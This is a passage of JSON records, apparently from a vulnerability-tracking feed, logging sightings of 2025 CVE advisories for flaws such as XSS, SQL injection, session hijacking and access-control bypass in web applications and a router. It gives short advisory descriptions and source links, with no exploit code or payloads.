"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45015", "type": "seen", "source": "https://t.me/cvedetector/24124", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45015 - PHPGurukul Park Ticketing Management System Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2025-45015 \nPublished : April 30, 2025, 2:15 p.m. | 1\u00a0hour, 29\u00a0minutes ago \nDescription : A Cross-Site Scripting (XSS) vulnerability was discovered in the foreigner-bwdates-reports-details.php file of PHPGurukul Park Ticketing Management System v2.0. The vulnerability allows remote attackers to inject arbitrary JavaScript code via the fromdate and todate parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T17:55:28.000000Z"}, {"uuid": "0cbca2ce-2ea4-4ed8-9974-ed99a1e8ff2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45011", "type": "seen", "source": "https://t.me/cvedetector/24123", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45011 - \"PHPGurukul Park Ticketing Management System HTML Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2025-45011 \nPublished : April 30, 2025, 2:15 p.m. | 1\u00a0hour, 29\u00a0minutes ago \nDescription : A HTML Injection vulnerability was discovered in the foreigner-search.php file of PHPGurukul Park Ticketing Management System v2.0. This vulnerability allows remote attackers to execute arbitrary code via the searchdata POST request parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T17:55:27.000000Z"}, {"uuid": "52a93a87-9b66-468e-9ea9-096c093d203b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45956", "type": "seen", "source": "https://t.me/cvedetector/24042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45956 - Sourcecodester Computer Laboratory Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45956 \nPublished : April 29, 2025, 5:15 p.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : A SQL injection vulnerability in manage_damage.php in Sourcecodester Computer Laboratory Management System v1.0 allows an authenticated attacker to execute arbitrary SQL commands via the \"id\" parameter \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-29T21:01:14.000000Z"}, {"uuid": "ea940cfe-1554-49cb-8c82-1be80b8b663b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45953", "type": "seen", "source": "https://t.me/cvedetector/23949", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45953 - PHPGurukul Hostel Management System Session Hijacking\", \n  \"Content\": \"CVE ID : CVE-2025-45953 \nPublished : April 28, 2025, 8:15 p.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : A vulnerability was found in PHPGurukul Hostel Management System 2.1 in the /hostel/change-password.php file of the user panel - Change Password component. Improper handling of session data allows a Session Hijacking attack, exploitable remotely \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-29T00:06:24.000000Z"}, {"uuid": "fc401bd3-33a8-470e-8235-0c8795eb7e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45949", "type": "seen", "source": "https://t.me/cvedetector/23948", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45949 - PHPGurukul User Registration & Login and User Management System Session Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45949 \nPublished : April 28, 2025, 8:15 p.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : A critical vulnerability was found in PHPGurukul User Registration & Login and User Management System V3.3 in the /loginsystem/change-password.php file of the user panel - Change Password component. Improper handling of session data allows a Session Hijacking attack, exploitable remotely and leading to account takeover. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-29T00:06:23.000000Z"}, {"uuid": "6cdadd43-4c75-4bc1-97b9-737d9603ec7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45947", "type": "seen", "source": "https://t.me/cvedetector/23947", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45947 - PhpGurukul Online Banquet Booking System Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45947 \nPublished : April 28, 2025, 8:15 p.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : An issue in phpgurukul Online Banquet Booking System V1.2 allows an attacker to execute arbitrary code via the /obbs/change-password.php file of the My Account - Change Password component \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-29T00:06:22.000000Z"}, {"uuid": "b5ad2a67-caac-4939-925e-ca153d9fb4b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/6925", "content": "\ud83d\udd10 Two Linux flaws let local attackers steal secrets from crash dumps \u2014 including password hashes.\n\nFound in Ubuntu, RHEL & Fedora, the bugs (CVE-2025-5054 & CVE-2025-4598) exploit SUID crash handling.\n\nA simple race\u2014triggered at just the right time\u2014can leak /etc/shadow data.\n\nPoC is public. Mitigations exist.\n\nRead: https://thehackernews.com/2025/05/new-linux-flaws-allow-password-hash.html", "creation_timestamp": "2025-05-31T12:24:45.000000Z"}, {"uuid": "3f572fba-b5a4-4959-bc1f-45732bc7a386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4559", "type": "seen", "source": "Telegram/hf3DUPSAlOD-vjxtu76L1HF_0z3-XAn2qRcWTPjb16_eBRU", "content": "", "creation_timestamp": "2025-05-12T09:30:52.000000Z"}, {"uuid": "2d1c982f-b7a3-438c-92d8-230d16627462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4549", "type": "published-proof-of-concept", "source": "Telegram/4kUQu822de1LPDuRg3vLxdeTbImmKLi3r7r_k6aSaj04RHg", "content": "", "creation_timestamp": "2025-05-12T01:00:37.000000Z"}, {"uuid": "df64c294-c77f-4c48-87bc-65e8a8db3ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4548", "type": "published-proof-of-concept", "source": "Telegram/d4d8K88BxlDCFoqdVVQ4S0b4L9ZfL6UnmoqlIwa6ZdXkg1o", "content": "", "creation_timestamp": "2025-05-12T00:00:14.000000Z"}, {"uuid": "2936802c-8996-4fca-9173-cd571bee4a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4509", "type": "published-proof-of-concept", "source": "Telegram/JOEmVrZPDW65BYYHlzxrjRSRQg3iXfNsb1k2QQNTi1kNxIw", "content": "", "creation_timestamp": "2025-05-10T20:30:23.000000Z"}, {"uuid": "4f9be974-4ee6-40c5-bee9-9cf0209c9119", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4507", "type": "published-proof-of-concept", "source": "Telegram/URtKTzJadoupAu9znx5u6xGbKwitW4xrYQTd2_v3oSrAWdo", "content": "", "creation_timestamp": "2025-05-10T19:30:42.000000Z"}, {"uuid": "8fac4ad4-95c0-4514-b2a5-b293b5a7df67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4508", "type": "published-proof-of-concept", "source": "Telegram/URtKTzJadoupAu9znx5u6xGbKwitW4xrYQTd2_v3oSrAWdo", "content": "", "creation_timestamp": "2025-05-10T19:30:42.000000Z"}, {"uuid": "6564e822-77be-40ee-9509-890962c44d03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4505", "type": "published-proof-of-concept", "source": "Telegram/5jCfy6rNIkT2KBC1Y0rQEULebmDfmr-lomqeEJy5sudorr4", "content": "", "creation_timestamp": "2025-05-10T18:30:33.000000Z"}, {"uuid": "80cc555c-e687-424e-bf0d-df0f7a771407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4506", "type": "published-proof-of-concept", "source": "Telegram/5jCfy6rNIkT2KBC1Y0rQEULebmDfmr-lomqeEJy5sudorr4", "content": "", "creation_timestamp": "2025-05-10T18:30:33.000000Z"}, {"uuid": "36acd4fa-0c00-4589-bd3d-1a230f890391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4561", "type": "seen", "source": "Telegram/hf3DUPSAlOD-vjxtu76L1HF_0z3-XAn2qRcWTPjb16_eBRU", "content": "", "creation_timestamp": "2025-05-12T09:30:52.000000Z"}, {"uuid": "601d1628-f001-4c02-8e98-af257f11fae7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4532", "type": "published-proof-of-concept", "source": "Telegram/t-SLKwiiiRCs9KOSZ6SZNIsPvckmoHX9MzxbeLGaBKax7IY", "content": "", "creation_timestamp": "2025-05-11T09:00:27.000000Z"}, {"uuid": "a4bb8871-dd9d-4da2-96c2-4153322c1da3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4504", "type": "published-proof-of-concept", "source": "Telegram/g3Ya3NDnISaODGCemj0Hw1DBlIw9jNLJc_SN-yrplkQ7MDE", "content": "", "creation_timestamp": "2025-05-10T17:30:16.000000Z"}, {"uuid": "122c32c3-5c54-4940-bc18-128539a95b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4503", "type": "published-proof-of-concept", "source": "Telegram/2SdsDq4v2n707e_0JKXkdQoXAcGWQI-9qidZ-mF77dQcdfs", "content": "", "creation_timestamp": "2025-05-10T16:31:19.000000Z"}, {"uuid": "df67659e-b11f-4c85-8147-db2e3d600000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4502", "type": "published-proof-of-concept", "source": "Telegram/2SdsDq4v2n707e_0JKXkdQoXAcGWQI-9qidZ-mF77dQcdfs", "content": "", "creation_timestamp": "2025-05-10T16:31:19.000000Z"}, {"uuid": "32dbab2f-33b6-499b-9742-7055a66a8194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4558", "type": "seen", "source": "Telegram/OjKWAIIwma_RdPKLgz_Io36KSzAdhbVpvO7Ot8l8jiIttDY", "content": "", "creation_timestamp": "2025-05-12T06:30:18.000000Z"}, {"uuid": "99c92229-49d6-4166-bfa1-675a4ede9624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4544", "type": "published-proof-of-concept", "source": "Telegram/Hjyu-EpubssxdUXpj419ImO4Fl699C16is6vgVfHvdBfDhY", "content": "", "creation_timestamp": "2025-05-11T21:00:52.000000Z"}, {"uuid": "30f135e4-fdda-47a7-a6eb-d0df481a0180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4540", "type": "seen", "source": "Telegram/l_1ZgKeJfM4OjYXSvbeB2JcJOIca7jki0cqmgCp-QL8NTx8", "content": "", "creation_timestamp": "2025-05-11T18:00:28.000000Z"}, {"uuid": "75b39bb4-da37-428a-b773-8301be1976f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4557", "type": "seen", "source": "Telegram/mRdXUqpvKvT1wN_XFmc4QYgJbVZQxl-OYXu-FmIznFnUGDM", "content": "", "creation_timestamp": "2025-05-12T05:31:00.000000Z"}, {"uuid": "352ee380-ca05-46f7-baae-d2b056a2314a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4556", "type": "seen", "source": "Telegram/mRdXUqpvKvT1wN_XFmc4QYgJbVZQxl-OYXu-FmIznFnUGDM", "content": "", "creation_timestamp": "2025-05-12T05:31:00.000000Z"}, {"uuid": "e8f80229-dece-4796-819a-6b35bc622b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4555", "type": "seen", "source": "Telegram/mRdXUqpvKvT1wN_XFmc4QYgJbVZQxl-OYXu-FmIznFnUGDM", "content": "", "creation_timestamp": "2025-05-12T05:31:00.000000Z"}, {"uuid": "7e4a1aff-7781-4616-8a82-bef2869f6646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4554", "type": "published-proof-of-concept", "source": "Telegram/uE9n1u9a9if1Nv_QFWLw0wRNMutCfzKYCXy9qgufB4ZCJSI", "content": "", "creation_timestamp": "2025-05-12T03:30:48.000000Z"}, {"uuid": "38718306-b132-4b77-91d7-45d02285317f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4553", "type": "published-proof-of-concept", "source": "Telegram/uE9n1u9a9if1Nv_QFWLw0wRNMutCfzKYCXy9qgufB4ZCJSI", "content": "", "creation_timestamp": "2025-05-12T03:30:48.000000Z"}, {"uuid": "127aa980-df11-48fd-b54f-d5716e1afc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4550", "type": "published-proof-of-concept", "source": "Telegram/4kUQu822de1LPDuRg3vLxdeTbImmKLi3r7r_k6aSaj04RHg", "content": "", "creation_timestamp": "2025-05-12T01:00:37.000000Z"}, {"uuid": "78a9b333-479a-44a3-bd5d-b57085638ca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4543", "type": "published-proof-of-concept", "source": "Telegram/Hjyu-EpubssxdUXpj419ImO4Fl699C16is6vgVfHvdBfDhY", "content": "", "creation_timestamp": "2025-05-11T21:00:52.000000Z"}, {"uuid": "24b243a5-ebb8-4a09-8f8b-0b5e083f639e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45751", "type": "seen", "source": "https://t.me/cvedetector/24455", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45751 - SourceCodester Web Based Pharmacy Product Management System Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2025-45751 \nPublished : May 5, 2025, 2:15 p.m. | 1\u00a0hour, 10\u00a0minutes ago \nDescription : SourceCodester Web Based Pharmacy Product Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in add-admin.php via the Fullname text field. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-05T17:33:02.000000Z"}, {"uuid": "a78fa779-bab7-4b95-a2ff-701e04f97b49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45242", "type": "seen", "source": "https://t.me/cvedetector/24456", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45242 - Rhymix File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45242 \nPublished : May 5, 2025, 5:18 p.m. | 16\u00a0minutes ago \nDescription : Rhymix v2.1.22 was discovered to contain an arbitrary file deletion vulnerability via the procFileAdminEditImage method in /file/file.admin.controller.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-05T20:03:31.000000Z"}, {"uuid": "881ceb64-723e-4df8-b8bf-8de85693a498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45800", "type": "seen", "source": "https://t.me/cvedetector/24372", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45800 - TOTOLINK A950RG Remote Command Execution\", \n  \"Content\": \"CVE ID : CVE-2025-45800 \nPublished : May 2, 2025, 5:15 p.m. | 2\u00a0hours, 6\u00a0minutes ago \nDescription : TOTOLINK A950RG V4.1.2cu.5204_B20210112 contains a command execution vulnerability in the setDeviceName interface of the /lib/cste_modules/global.so library, specifically in the processing of the deviceMac parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-02T21:48:54.000000Z"}, {"uuid": "e0382cfe-41be-405e-a06b-2774f849cdab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45610", "type": "seen", "source": "https://t.me/cvedetector/24509", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45610 - PassJava-Platform Blind File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45610 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in the component /scheduleLog/info/1 of PassJava-Platform v3.0.0 allows attackers to access sensitive information via a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:21.000000Z"}, {"uuid": "c622c21b-2a1c-467f-9397-ce8191c9df2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45609", "type": "seen", "source": "https://t.me/cvedetector/24510", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45609 - Kob Insecure Direct Object Reference (IDOR)\", \n  \"Content\": \"CVE ID : CVE-2025-45609 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in the doFilter function of kob latest v1.0.0-SNAPSHOT allows attackers to access sensitive information via a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:22.000000Z"}, {"uuid": "8c90c40d-f850-4dc9-884d-fefe2184da68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45240", "type": "seen", "source": "https://t.me/cvedetector/24459", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45240 - Foxcms SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45240 \nPublished : May 5, 2025, 5:18 p.m. | 16\u00a0minutes ago \nDescription : foxcms v1.2.5 was discovered to contain a SQL injection vulnerability via the executeCommand method in DataBackup.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-05T20:03:33.000000Z"}, {"uuid": "66fa83d0-1145-4e74-b432-076aab556861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45618", "type": "seen", "source": "https://t.me/cvedetector/24508", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45618 - Jeeweb Mybatis Springboot Unauthenticated Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-45618 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in the component /admin/sys/datasource/ajaxList of jeeweb-mybatis-springboot v0.0.1.RELEASE allows attackers to access sensitive information via a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:20.000000Z"}, {"uuid": "18c5dc29-69db-4852-badb-2ee3f9efe4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45612", "type": "seen", "source": "https://t.me/cvedetector/24511", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45612 - Xmall Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-45612 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in xmall v1.1 allows attackers to bypass authentication via a crafted GET request to /index. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:25.000000Z"}, {"uuid": "cbb7d55d-65f7-47e4-9a2c-5ded644453e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45611", "type": "seen", "source": "https://t.me/cvedetector/24512", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45611 - Hope-Boot Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-45611 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in the /user/edit/ component of hope-boot v1.0.0 allows attackers to bypass authentication via a crafted GET request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:26.000000Z"}, {"uuid": "1483829d-3bfa-4e50-9cb0-694452b3f55f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45613", "type": "seen", "source": "https://t.me/cvedetector/24513", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45613 - Shiro-Action Unsecured Data Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-45613 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in the component /user/list of Shiro-Action v0.6 allows attackers to access sensitive information via a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:27.000000Z"}, {"uuid": "8c8caac1-3dcf-4126-8cac-9aa74de831f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45614", "type": "seen", "source": "https://t.me/cvedetector/24514", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45614 - One API User Manager Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-45614 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in the component /api/user/manager of One v1.0 allows attackers to access sensitive information via a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:28.000000Z"}, {"uuid": "a9699898-9fb5-423c-ab42-83ef347ec84e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45615", "type": "seen", "source": "https://t.me/cvedetector/24515", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45615 - Yaoqishan Unauthenticated Administrative Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2025-45615 \nPublished : May 5, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : Incorrect access control in the /admin/ API of yaoqishan v0.0.1-SNAPSHOT allows attackers to gain access to Admin rights via a crafted request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T00:15:29.000000Z"}, {"uuid": "1265ac69-7438-46a2-a693-9a8896561105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45250", "type": "seen", "source": "https://t.me/cvedetector/24622", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45250 - MrDoc SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45250 \nPublished : May 6, 2025, 5:16 p.m. | 